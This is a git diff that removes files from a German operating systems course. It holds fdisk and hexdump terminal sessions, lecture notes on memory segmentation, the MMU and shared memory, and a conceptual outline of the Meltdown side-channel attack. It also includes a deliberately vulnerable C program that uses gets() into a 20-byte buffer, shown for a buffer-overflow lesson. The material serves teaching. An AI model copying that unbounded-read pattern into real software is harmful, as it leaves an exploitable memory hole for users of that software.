test-2.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-3.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-4.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-5.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-6.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-7.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-8.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-9.txt -cassini/home/peter/bo/2022ss/bs/20220509> ls -l --full-time /media/usb0/ -insgesamt 172 --rwxr-xr-x 1 peter peter 17312 2013-10-05 13:36:20.000000000 +0200 Operating_system_placement-de.svg --rwxr-xr-x 1 peter peter 54045 2015-05-04 10:28:56.000000000 +0200 os-layers-4.jpg --rwxr-xr-x 1 peter peter 54499 2015-05-04 10:29:04.000000000 +0200 os-layers-5.jpg --rwxr-xr-x 1 peter peter 8 2022-05-09 11:43:33.000000000 +0200 test-10.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:24.000000000 +0200 test-1.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:25.000000000 +0200 test-2.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:26.000000000 +0200 test-3.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:27.000000000 +0200 test-4.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:28.000000000 +0200 test-5.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:29.000000000 +0200 test-6.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:30.000000000 +0200 test-7.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:31.000000000 +0200 test-8.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:32.000000000 +0200 test-9.txt -cassini/home/peter/bo/2022ss/bs/20220509> umount /media/usb0 -cassini/home/peter/bo/2022ss/bs/20220509> mount /media/usb0 -cassini/home/peter/bo/2022ss/bs/20220509> ls -l --full-time /media/usb0/ -insgesamt 172 --rwxr-xr-x 1 peter peter 17312 2013-10-05 13:36:20.000000000 +0200 Operating_system_placement-de.svg --rwxr-xr-x 1 peter peter 54045 2015-05-04 10:28:56.000000000 +0200 os-layers-4.jpg --rwxr-xr-x 1 peter peter 54499 2015-05-04 10:29:04.000000000 +0200 os-layers-5.jpg --rwxr-xr-x 1 peter peter 8 2022-05-09 11:43:32.000000000 +0200 test-10.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:24.000000000 +0200 test-1.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:24.000000000 +0200 test-2.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:26.000000000 +0200 test-3.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:26.000000000 +0200 test-4.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:28.000000000 +0200 test-5.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:28.000000000 +0200 test-6.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:30.000000000 +0200 test-7.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:30.000000000 +0200 test-8.txt --rwxr-xr-x 1 peter peter 7 2022-05-09 11:43:32.000000000 +0200 test-9.txt -cassini/home/peter/bo/2022ss/bs/20220509> diff --git a/20220509/inodes-1.txt b/20220509/inodes-1.txt deleted file mode 100644 index 7edc59278411a93923af59a60113e9095c429820..0000000000000000000000000000000000000000 --- a/20220509/inodes-1.txt +++ /dev/null @@ -1,19 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220509> ls -li ../20220321/ -insgesamt 212 -2315892 -rw-r--r-- 1 peter peter 132656 Mär 21 11:05 bs-20220321.pdf -2315898 -rw-r--r-- 1 peter peter 42244 Mär 21 11:04 bs-20220321.tex -2315648 -rwxr-xr-x 1 peter peter 21 Mär 21 13:18 hello -2315910 -rwxr-xr-x 1 peter peter 34 Mär 21 13:44 hello-1 -2315909 -rwxr-xr-x 1 peter peter 17 Mär 21 13:46 hello-1.bc -2315912 -rwxr-xr-x 1 peter peter 21 Mär 21 14:01 hello-2.bc -2315913 -rwxr-xr-x 1 peter peter 26 Mär 21 14:04 hello-3.bc -2315905 lrwxrwxrwx 1 peter peter 45 Apr 17 2016 logo-hochschule-bochum-cvh-text.pdf -> ../common/logo-hochschule-bochum-cvh-text.pdf -2315906 lrwxrwxrwx 1 peter peter 36 Apr 17 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf -2315896 lrwxrwxrwx 1 peter peter 43 Apr 17 2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf -2315897 lrwxrwxrwx 1 peter peter 22 Apr 13 2018 pgslides.sty -> ../common/pgslides.sty -2315930 -rw-r--r-- 1 peter peter 25 Mär 21 20:02 SCRATCH -2315907 -rw-r--r-- 3 peter peter 5 Mär 21 14:32 test-1.txt -2315911 lrwxrwxrwx 1 peter peter 10 Mär 21 14:29 test-2.txt -> test-1.txt -2315907 -rw-r--r-- 3 peter peter 5 Mär 21 14:32 test-3.txt -2315907 -rw-r--r-- 3 peter peter 5 Mär 21 14:32 test-4.txt -cassini/home/peter/bo/2022ss/bs/20220509> diff --git a/20220509/partitions-1.txt b/20220509/partitions-1.txt deleted file mode 100644 index 5ff8a7d0acb420a130ea50115364a05c94a06221..0000000000000000000000000000000000000000 --- a/20220509/partitions-1.txt +++ /dev/null @@ -1,7 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220509> ls -l /dev/sdb -brw-rw---- 1 root disk 8, 16 Mai 9 11:35 /dev/sdb -cassini/home/peter/bo/2022ss/bs/20220509> sudo chown peter /dev/sdb -[sudo] Passwort für peter: -cassini/home/peter/bo/2022ss/bs/20220509> ls -l /dev/sdb -brw-rw---- 1 peter disk 8, 16 Mai 9 11:35 /dev/sdb -cassini/home/peter/bo/2022ss/bs/20220509> diff --git a/20220509/partitions-2.txt b/20220509/partitions-2.txt deleted file mode 100644 index 6c310e60397597ded99158f3acf0e7f2471f2ee1..0000000000000000000000000000000000000000 --- a/20220509/partitions-2.txt +++ /dev/null @@ -1,24 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220509> dd if=/dev/sdb bs=512 count=1 | hexdump -C > bootsector-usb-stick.txt -1+0 Datensätze ein -1+0 Datensätze aus -512 bytes copied, 0,00154857 s, 331 kB/s -cassini/home/peter/bo/2022ss/bs/20220509> cat bootsector-usb-stick.txt -00000000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000010 02 00 00 00 00 f8 00 00 3e 00 81 00 00 00 00 00 |........>.......| -00000020 00 d0 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000040 80 01 29 27 b7 d9 08 4e 4f 20 4e 41 4d 45 20 20 |..)'...NO NAME | -00000050 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -000000a0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -000000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -000000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -000000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000200 -cassini/home/peter/bo/2022ss/bs/20220509> diff --git a/20220509/partitions-3.txt b/20220509/partitions-3.txt deleted file mode 100644 index 6044e346cb8fdd13ebfcdda22a48a0a329e43e8f..0000000000000000000000000000000000000000 --- a/20220509/partitions-3.txt +++ /dev/null @@ -1,170 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220509> lsblk -NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT -sda 8:0 0 115,5G 0 disk -├─sda1 8:1 0 487M 0 part /boot/efi -├─sda2 8:2 0 244M 0 part /boot -└─sda3 8:3 0 114,8G 0 part - └─sda3_crypt 254:0 0 114,8G 0 crypt - ├─cassini-root 254:1 0 110,9G 0 lvm / - └─cassini-swap_1 254:2 0 3,9G 0 lvm [SWAP] -sdb 8:16 1 3,9G 0 disk /media/usb0 -cassini/home/peter/bo/2022ss/bs/20220509> ls -l /media/usb0/ -insgesamt 172 --rwxr-xr-x 1 peter peter 17312 Okt 5 2013 Operating_system_placement-de.svg --rwxr-xr-x 1 peter peter 54045 Mai 4 2015 os-layers-4.jpg --rwxr-xr-x 1 peter peter 54499 Mai 4 2015 os-layers-5.jpg --rwxr-xr-x 1 peter peter 8 Mai 9 11:43 test-10.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-1.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-2.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-3.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-4.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-5.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-6.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-7.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-8.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-9.txt -cassini/home/peter/bo/2022ss/bs/20220509> umount /media/usb0 -cassini/home/peter/bo/2022ss/bs/20220509> fdisk /dev/sdb -bash: fdisk: Kommando nicht gefunden. -cassini/home/peter/bo/2022ss/bs/20220509> /sbin/fdisk /dev/sdb - -Welcome to fdisk (util-linux 2.33.1). -Changes will remain in memory only, until you decide to write them. -Be careful before using the write command. - - -Command (m for help): m - -Help: - - DOS (MBR) - a toggle a bootable flag - b edit nested BSD disklabel - c toggle the dos compatibility flag - - Generic - d delete a partition - F list free unpartitioned space - l list known partition types - n add a new partition - p print the partition table - t change a partition type - v verify the partition table - i print information about a partition - - Misc - m print this menu - u change display/entry units - x extra functionality (experts only) - - Script - I load disk layout from sfdisk script file - O dump disk layout to sfdisk script file - - Save & Exit - w write table to disk and exit - q quit without saving changes - - Create a new label - g create a new empty GPT partition table - G create a new empty SGI (IRIX) partition table - o create a new empty DOS partition table - s create a new empty Sun partition table - - -Command (m for help): p -Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors -Disk model: Flash Disk -Units: sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disklabel type: dos -Disk identifier: 0x00000000 - -Command (m for help): o -Created a new DOS disklabel with disk identifier 0x608a28f5. - -Command (m for help): p -Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors -Disk model: Flash Disk -Units: sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disklabel type: dos -Disk identifier: 0x608a28f5 - -Command (m for help): n -Partition type - p primary (0 primary, 0 extended, 4 free) - e extended (container for logical partitions) -Select (default p): p -Partition number (1-4, default 1): -First sector (2048-8179711, default 2048): -Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-8179711, default 8179711): - -Created a new partition 1 of type 'Linux' and of size 3,9 GiB. - -Command (m for help): p -Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors -Disk model: Flash Disk -Units: sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disklabel type: dos -Disk identifier: 0x608a28f5 - -Device Boot Start End Sectors Size Id Type -/dev/sdb1 2048 8179711 8177664 3,9G 83 Linux - -Command (m for help): t -Selected partition 1 -Hex code (type L to list all codes): L - - 0 Empty 24 NEC DOS 81 Minix / old Lin bf Solaris - 1 FAT12 27 Hidden NTFS Win 82 Linux swap / So c1 DRDOS/sec (FAT- - 2 XENIX root 39 Plan 9 83 Linux c4 DRDOS/sec (FAT- - 3 XENIX usr 3c PartitionMagic 84 OS/2 hidden or c6 DRDOS/sec (FAT- - 4 FAT16 <32M 40 Venix 80286 85 Linux extended c7 Syrinx - 5 Extended 41 PPC PReP Boot 86 NTFS volume set da Non-FS data - 6 FAT16 42 SFS 87 NTFS volume set db CP/M / CTOS / . - 7 HPFS/NTFS/exFAT 4d QNX4.x 88 Linux plaintext de Dell Utility - 8 AIX 4e QNX4.x 2nd part 8e Linux LVM df BootIt - 9 AIX bootable 4f QNX4.x 3rd part 93 Amoeba e1 DOS access - a OS/2 Boot Manag 50 OnTrack DM 94 Amoeba BBT e3 DOS R/O - b W95 FAT32 51 OnTrack DM6 Aux 9f BSD/OS e4 SpeedStor - c W95 FAT32 (LBA) 52 CP/M a0 IBM Thinkpad hi ea Rufus alignment - e W95 FAT16 (LBA) 53 OnTrack DM6 Aux a5 FreeBSD eb BeOS fs - f W95 Ext'd (LBA) 54 OnTrackDM6 a6 OpenBSD ee GPT -10 OPUS 55 EZ-Drive a7 NeXTSTEP ef EFI (FAT-12/16/ -11 Hidden FAT12 56 Golden Bow a8 Darwin UFS f0 Linux/PA-RISC b -12 Compaq diagnost 5c Priam Edisk a9 NetBSD f1 SpeedStor -14 Hidden FAT16 <3 61 SpeedStor ab Darwin boot f4 SpeedStor -16 Hidden FAT16 63 GNU HURD or Sys af HFS / HFS+ f2 DOS secondary -17 Hidden HPFS/NTF 64 Novell Netware b7 BSDI fs fb VMware VMFS -18 AST SmartSleep 65 Novell Netware b8 BSDI swap fc VMware VMKCORE -1b Hidden W95 FAT3 70 DiskSecure Mult bb Boot Wizard hid fd Linux raid auto -1c Hidden W95 FAT3 75 PC/IX bc Acronis FAT32 L fe LANstep -1e Hidden W95 FAT1 80 Old Minix be Solaris boot ff BBT -Hex code (type L to list all codes): c -Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'. - -Command (m for help): p -Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors -Disk model: Flash Disk -Units: sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disklabel type: dos -Disk identifier: 0x608a28f5 - -Device Boot Start End Sectors Size Id Type -/dev/sdb1 2048 8179711 8177664 3,9G c W95 FAT32 (LBA) - -Command (m for help): w -The partition table has been altered. -Failed to add partition 1 to system: Keine Berechtigung - -The kernel still uses the old partitions. The new table will be used at the next reboot. -Syncing disks. - -cassini/home/peter/bo/2022ss/bs/20220509> diff --git a/20220509/test-1.txt b/20220509/test-1.txt deleted file mode 100644 index ac5ab8fbdb5f9b410cba904145f975593182dced..0000000000000000000000000000000000000000 --- a/20220509/test-1.txt +++ /dev/null @@ -1 +0,0 @@ -Test 1 diff --git a/20220509/test-10.txt b/20220509/test-10.txt deleted file mode 100644 index 8937317202bd72c1680a8a703fc262aeb09b3d9e..0000000000000000000000000000000000000000 --- a/20220509/test-10.txt +++ /dev/null @@ -1 +0,0 @@ -Test 10 diff --git a/20220509/test-2.txt b/20220509/test-2.txt deleted file mode 100644 index 110c58e6f30cdd0d7dbe279abaec7e0633fbfca6..0000000000000000000000000000000000000000 --- a/20220509/test-2.txt +++ /dev/null @@ -1 +0,0 @@ -Test 2 diff --git a/20220509/test-3.txt b/20220509/test-3.txt deleted file mode 100644 index 0256ffd2f4757804354495d7324a515520bca3f6..0000000000000000000000000000000000000000 --- a/20220509/test-3.txt +++ /dev/null @@ -1 +0,0 @@ -Test 3 diff --git a/20220509/test-4.txt b/20220509/test-4.txt deleted file mode 100644 index 2642594316192159f1ee540924a5ec68e6ba8ca7..0000000000000000000000000000000000000000 --- a/20220509/test-4.txt +++ /dev/null @@ -1 +0,0 @@ -Test 4 diff --git a/20220509/test-5.txt b/20220509/test-5.txt deleted file mode 100644 index ec8406f8bf2d6bfad89a9fda97dc6e3640d701f5..0000000000000000000000000000000000000000 --- a/20220509/test-5.txt +++ /dev/null @@ -1 +0,0 @@ -Test 5 diff --git a/20220509/test-6.txt b/20220509/test-6.txt deleted file mode 100644 index bbadcf1e2e4b366cd25f91679e905d1cf95fcd38..0000000000000000000000000000000000000000 --- a/20220509/test-6.txt +++ /dev/null @@ -1 +0,0 @@ -Test 6 diff --git a/20220509/test-7.txt b/20220509/test-7.txt deleted file mode 100644 index b5f1627d397aad8e0909c30570f96c30b43c7d56..0000000000000000000000000000000000000000 --- a/20220509/test-7.txt +++ /dev/null @@ -1 +0,0 @@ -Test 7 diff --git a/20220509/test-8.txt b/20220509/test-8.txt deleted file mode 100644 index e55b751af6a202544813ab1268303940cc5422dd..0000000000000000000000000000000000000000 --- a/20220509/test-8.txt +++ /dev/null @@ -1 +0,0 @@ -Test 8 diff --git a/20220509/test-9.txt b/20220509/test-9.txt deleted file mode 100644 index be11a5e36625d98893071522823f72ffe970a23f..0000000000000000000000000000000000000000 --- a/20220509/test-9.txt +++ /dev/null @@ -1 +0,0 @@ -Test 9 diff --git a/20220516/bs-20220516.txt b/20220516/bs-20220516.txt deleted file mode 100644 index 59658174ef708d8d7444ab370b49678f0c4840bf..0000000000000000000000000000000000000000 --- a/20220516/bs-20220516.txt +++ /dev/null @@ -1,256 +0,0 @@ -Verwaltung von Arbeitsspeicher (RAM), 16.05.2022, 11:38:16 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -8086: 16-Bit-Intel-Prozessor (Mitte der 1980er Jahre): - - Speicheradresse: xxxx:xxxx, z.B. 31d6:0100 oder b800:0300 - ~~~~ ~~~~ - Segment Offset <-- jeweils 16 Bit - - Adressierbarer Speicher: 1 MiB = 1024 kiB = 2^20 Bytes - Register: nur 16 Bit, nicht 20 - - Speicheradresse = 16 · Segment + Offset - - z.B.: 31d6:0100 = 16 · 31d6 + 0100 = 31d60 + 0100 = 31e60 - - Praktischer Sinn: Relokation - - 16-Bit-Programme können über 64 kiB (= 65536 Bytes) frei verfügen - - Ansprechen dieser 64 kiB nur über Offset-Adresse - - Das Betriebssystem teilt die Segment-Adresse zu - --> Das Anwendungsprogramm kann ohne Änderung - an jeder beliebigen Stelle im Speicher laufen ("Relokation"). - --> Der Prozessor sieht für das Programm bis zu 4 Segmente vor: - Code, Daten, Stack, "Extra" --> zusammen 256 kiB - - Sobald dies nicht mehr genügte, nahmen die Programme eigenständig - weitere Segmente hinzu. --> volle 1024 kiB ansprechbar - --> Unterlaufen der Zuweisung durch das Betriebssystem - --> instabil - - Hätten sich die Programme an die Zuweisung durch das Betriebssystem gehalten, - wären sie voreinander abgeschottet gewesen. - -80286: 16-Bit-Intel-Prozessor mit "Protected Mode" (Ende der 1980er Jahre): - - Speicheradresse: xxxx:xxxx - ~~~~ ~~~~ - Selektor Offset <-- jeweils 16 Bit - - Der Selektor ist ein Index für ein Array, - das sich im Prozessor befindet. - Darin enthalten: - - tatsächliche Speicheradresse des Segments (auch über 1 MiB hinaus) - - Größe des Segments - - Zugriffsrechte, z.B.: nur lesbar, ausführbar - --> Die Hardware kann die Programme voreinander abschotten (daher "protected"). - Das Betriebssystem nutzt dies nicht, um sich gegen Programme abzuschotten. - - Nachteil: Offset nur 16 Bit --> Beschränkung auf 256 kiB - Umgehung: Das Programm selbst verwaltet die Selektoren. - --> "protected" hinfällig - - (Es gab verschiedene Standards, um auf mehr als 1024 kiB zuzugreifen: - HMA, XMS, EMS, DPMI) - - Zum Gruseln: HMA - - setze das Segment auf 0xffff - - sorge per Selektor dafür, daß damit die ersten 64 kiB - oberhalb von 1024 kiB angesprochen werden können - --> zusätzliche 64 kiB an Speicher nutzbar - -80386: 32-Bit-Intel-Prozessor mit "Protected Mode" (1990er Jahre): - - Speicheradresse: xxxx:xxxxxxxx - ~~~~ ~~~~~~~~ - Selektor Offset <-- 16 bzw. 32 Bit - - Der Selektor ist ein Index für ein Array, - das sich im Prozessor befindet (wie beim 80286). - - Das Offset ist 32 Bit breit und kann daher bis zu 4 GiB ansprechen. :-) - - --> Das Betriebssystem weist dem Programm ein Segment bis zu 4 GiB zu - und schottet es gegenüber sich selbst und anderen Programmen ab. - (Bei OS/2 und Unix: von Anfang an; bei MS Windows: ab NT 4.0 bzw. XP) - -Im "Protected Mode" möglich: Speicher auf Datenträger auslagern - - Die Tabelle vergibt Segmente auch in Speicherbereichen, - die physikalisch gar nicht vorhanden sind. - - Sobald das Programm darauf zugreift, entsteht eine Ausnahmesituation (ähnlich Interrupt). - Das Betriebssystem kann darauf reagieren und das Segment physikalischem Speicher zuordnen. - Falls kein freier physikalischer Speicher mehr vorhanden ist, kann das Betriebssystem - ein anderes Segment auf Datenträger schreiben, dieses auf nicht vorhandenen Speicher - umlegen und den dadurch gewonnenen Speicher für das andere Programm nutzen ("Swappen"). - - Inhalt der Tabelle ("Deskriptoren"): - - Länge des Segments - - Start-Adresse - - Zugriffsrechte - - Nur Kernel? Benutzerprogramme? - - Leserecht - - Schreibrecht - - Ausführungsrecht - --> Schadensbegrenzung bei Abstürzen. - Wenn ein Benutzerprogramm gegen die Rechte verstößt, entsteht eine Ausnahmesituation. - Das Betriebssystem kann darauf reagieren und das Programm beenden. - - Bit: "vorhanden" (s.o.) - - --> Das Betriebssystem kann Programme gegeneinander abschotten. - Damit wird Multitasking und Multi-User möglich. - - Das o.a. Konzept zur Auslagerung von Speicher hat einen Nachteil. - Beispiel: Ein Programm A belegt 3/4 des Arbeitsspeichers. - Ein weiteres Programm B soll gestartet werden, das 1/3 des Arbeitsspeichers benötigt. - --> Der Kernel kann nun ein Segment auslagern, z.B. das Datensegment von Programm A. - Problem: Das Segment ist u.U. viel größer als der tatsächlich benötigte Zusatzspeicher. - Mit dieser Hardware kann man immer nur ganze Segmente auslagern. - - Lösungsideen: - - mehrere kleinere Datensegmente - --> Dies muß man bei der Programmierung berücksichtigen. - - herunterbrechen auf Speicherzellenebene - --> Zusätzliche Hardware, die die Segmente weiter unterteilt: Memory Management Unit (MMU) - -AMD-64-Bit-Prozessoren (AMD Opteron, 2003, Intel-kompatibel): - - MMU unterteilt den Speicher in Seiten von jeweils 4 kiB. - Das Betriebssystem entscheidet über die Zuordnung zwischen logischen - und physikalischen Speicheradressen - einschließlich Auslagerungsspeicher. - - Dieser Mechanismus greift erst _nach_ den Segmenten. - Dies bedeutet für die Interpretation eines Zeigers: - - Ein Zeiger enthält eine Zahl, die Speicheradresse (Offset). - - Das Programm kennt das ihm zugeordnete Segment. - Segment und Offset definieren gemeinsam eine logische Speicheradresse. - - Die MMU ordnet diese logische Speicheradresse einer physikalischen zu, - die auch ausgelagert sein darf. - - Dadurch wird möglich: - - Gemeinsamer Speicher mehrerer Programme (Shared Memory). - Dadurch möglich: extrem schnelle Kommunikation zwischen Programmen - - Sicherheitslücken, z.B. Meltdown, Spectre - -Die Meltdown-Sicherheitslücke, 16.05.2022, 12:28:15 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Situation: Ein Programm will Speicher auslesen, für den es keine Leseberechtigung hat, -z.B. Speicher des Kernels. - -Vorgehensweise: siehe https://de.wikipedia.org/wiki/Meltdown_(Sicherheitsl%C3%BCcke) - -Wir arbeiten mit einem Riesen-Array: - - #define VIELE 0xffffffffffffffff // größtmögliche 64-Bit-Zahl - - typedef uint8_t page[4096]; // Datentyp: Array von 4096 Bytes - - page A[VIELE]; // Riesen-Array. Jedes einzelne Element ist 4096 Bytes groß, - // und es sind VIELE Elemente. - - Bei Programmstart wird das Riesen-Array nicht sofort im physikalischen Speicher angelegt. - Erst dann, wenn das Programm darauf zugreift, reserviert die MMU tatsächlich physikalischen Speicher. - - Schritt 1: Ein "Sender"-Thread greift mit einem "verbotenen" Index auf das Array zu und stürzt ab. - - Schritt 2: Ein "Empfänger"-Thread geht das Array durch - und prüft, bei welchem Index der Zugriff ungewöhnlich schnell erfolgt - (weil darauf vorher schon einmal zugegriffen wurde). - -"Sender"-Thread: - - - Greife "einfach so" auf die Speicherzelle zu. - Dies bewirkt einen Absturz (Prozessor-Ausnahme; Betriebssystem beendet Programm) - - Danach (nach dem Absturz!) multiplizieren wir den gelesenen Wert mit 4096 - (entsprechend der Größe einer Speicherseite, 4 kiB) - - Das Ergebnis benutzen wir als Index für ein Array, - das für den Hauptspeicher viel zu groß ist. - - Wäre das Programm nicht bereits abgestürzt, würde nun der Prozessor versuchen, - auf diese Stelle im Array zuzugreifen. Zu diesem Zweck macht er die entsprechende - Speicherseite zugänglich. - -"Empfänger"-Thread: - - - Warte, bis der Sender-Thread fertig ist. - - Danach greife auf das Riesen-Array zu. - - Dort, wo die Speicher-Seite bereits zugänglich gemacht wurde, ist der Zugriff schneller. - Mit Hilfe einer Zeitmessung kann der Empfänger-Thread daraus schließen, - auf welche Speicher-Seite der Sender-Thread zuzugreifen versucht hat. - -Wieso funktioniert dies, wenn doch der Sender-Thread bereits vorher abgestürzt ist? - - - Vorauslesen des Prozessors zur Erhöhung der Effizienz ("Instruction Pipeline"). - Bis der Prozessor den Absturz erkennt, hat er bereits das Riesen-Array für - den Speicherzugriff vorbereitet. - ---> Hardware-Sicherheitsloch - -Gegenmaßnahme: KPTI (siehe: https://de.wikipedia.org/wiki/Kernel_page-table_isolation) - - Vorab: Kernel Address Space Layout Randomization (KASLR): - Die Segmente, die das Programm zugeteilt bekommt, sind jedesmal zufällig - und damit nicht vorhersagbar. - - Vorgänger: Kernel Address Isolation to have Side-channels Efficiently Removed (KAISER) - - Kernel Page Table Isolation (KPTI) - Illustration: https://en.wikipedia.org/wiki/Kernel_page-table_isolation#/media/File:Kernel_page-table_isolation.svg - Page Table = Seitentabelle - = Tabelle, die einen Zeiger (auf logischen Speicher) - auf eine physikalische Speicheradresse abbildet - - Das Programm arbeitet nur mit Zeigern. - Der Kernel kann auch die Tabelle(n) beeinflussen. - - Es ist insbesondere möglich, dieselbe physikalische Speicheradresse - unter verschiedenen logischen Speicheradressen anzusprechen. - - KPTI: Verwende verschiedene Seitentabellen im Kernel-Modus und im User-Modus. - - Meltdown-Code: - - Sender und Empfänger arbeiten im User-Modus - und wollen die (logische) Speicherzelle Nr. rcx auslesen. - - Da der Kernel eine eigene Seitentabelle verwendet, - ist nicht klar, logische Speiherzelle im Kernel dafür steht - (oder umgekehrt: ..., welche Bedeutung diese Speicherzelle - im Kernel hat). - --> Zeiger im Kernel und im Benutzerprogramm haben völlig unterschiedliche Bedeutungen. - Man weiß gar nicht mehr, welche Speicherzelle man da eigentlich ausliest. - -Ein Nachtrag zu SPECTRE/Meltdown: Mit dem Skript unter -https://github.com/speed47/spectre-meltdown-checker/ -(oder gleichnamiges Debianpaket aus einer möglichst aktuellen Distribution) -können Sie Ihr Linux-System gegen entsprechende Sicherheitslücken überprüfen. - -Ähnliches Konzept: - Ausnutzen von Pufferüberläufen und Maßnahmen dagegen - --> Nächste Woche - -Gemeinsamer Speicher (Shared Memory), 16.05.2022, 14:10:56 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -shm-1: Ein Programm kann einen gemeinsamen Speicherbereich wie eine Datei öffnen. - Es gibt einen ("Datei-") Namen und einen Modus (rwxrwxrwx) wie bei Dateien. - - Siehe: man shm_open - -shm-2: Man muß die "Datei" auch schließen, sonst verliert man die Daten. - -shm-3: Die Vorgehensweise mit SHM als "Datei" ist nahezu identisch dazu, - daß ein Programm die Daten in eine Datei schreibt - und ein anderes sie daraus wieder liest. - -shm-4: Alternative: Ich kann die "Datei" in einen Zeiger umwandeln - und damit direkt auf den gemeinsamen Speicherbereich zugreifen. - -shm-5: Umgekehrt kann man übrigens auch eine echte(!) Datei in einen Zeiger umwandeln - und auf die Datei zugreifen, als wäre sie ein Speicherbereich. - -shm-7: Wo liegt der Speicherbereich? --> Das wissen wir nicht. - Jedes Programm, das auf den Speicherbereich zugreift, bekommt einen anderen(!) - Zeiger, obwohl alle diese Zeiger auf denselben physikalischen Speicherbereich zeigen. - -shm-8: Nach Gebrauch sollte man den gemeinsamen Speicherbereich wieder freigeben - (analog zum Löschen einer temporären Datei). - -Ergänzung: Mit der Funktion mmap() kann man auch eine Pseudo-Datei im /proc-Verzeichnis - öffnen (/proc/kcore?), über die der Kernel den gesamten Speicher als Datei - zur Verfügung stellt. (Diese Datei ist nur für den Administrator freigegeben.) - --> Man kann mit einem Zeiger auf beliebige Speicherzellen zugreifen. - Anwendung: GPIOs auf Einplatinen-Computern ansprechen. diff --git a/20220516/buffer-overflow-01.c b/20220516/buffer-overflow-01.c deleted file mode 100644 index 589cc0a64f89e08c6a7cf5b53f0c99d8ca932962..0000000000000000000000000000000000000000 --- a/20220516/buffer-overflow-01.c +++ /dev/null @@ -1,9 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char buffer[20]; - gets (buffer); - printf ("Guten Tag, %s!\n", buffer); - return 0; -} diff --git a/20220516/buffer-overflow-01.txt b/20220516/buffer-overflow-01.txt deleted file mode 100644 index 